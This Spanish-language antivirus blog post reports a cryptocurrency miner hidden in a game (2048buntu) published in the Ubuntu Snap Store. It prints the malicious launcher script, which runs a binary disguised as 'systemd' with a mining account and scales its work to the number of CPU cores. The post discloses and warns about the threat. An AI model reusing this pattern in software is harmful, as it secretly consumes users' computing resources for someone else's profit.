El mundo de antivirus

martes, 5 de junio de 2018

Los encoders para Linux son una cosa muy frecuente, nuestra empresa detectó el primero. Los miners para Linux también son conocidos – los ordinarios, no nocivos. Pero sería raro si con tanta popularidad los malintencionados no intentaran ganar un poco de dinero a través de los usuarios ordinarios de este sistema operativo.

En la distribución popular de Ubuntu hace poco apareció un nuevo formato de aplicaciones – un paquete snap. Por lo tanto, apareció una tienda oficial, similar a Windows Store. Todo sirvió para facilitar el trabajo del usuario con el sistema. Pero nadie iba a escanear las aplicaciones que se subían a la tienda.

Un usuario prudente detectó en el código del juego un miner de criptodivisa y un script que firmaba automáticamente el inicio de este miner.

El código abierto es muy cómodo, enseguida se puede ver todos los planes nocivos de las aplicaciones que son más o menos así:

#!/bin/bash

currency=bcn
name=2048buntu


{ # try
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
} || { # catch
cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then
    /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1
else
    /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2
fi
}

https://github.com/canonical-websites/snapcraft.io/issues/651

Pero por alguna razón nadie lo notaba. Es más, los miners y scripts aparecieron también en otras aplicaciones del mismo autor. El código nocivo obtenía la criptodivisa para un usuario con la dirección que se traduce como «mi primer Ferrari». No hay contador de descargas o instalaciones en Ubuntu Snap Store, por lo tanto, no podemos saber si el creador de virus ha podido ahorrar dinero para comprar el coche de su sueño.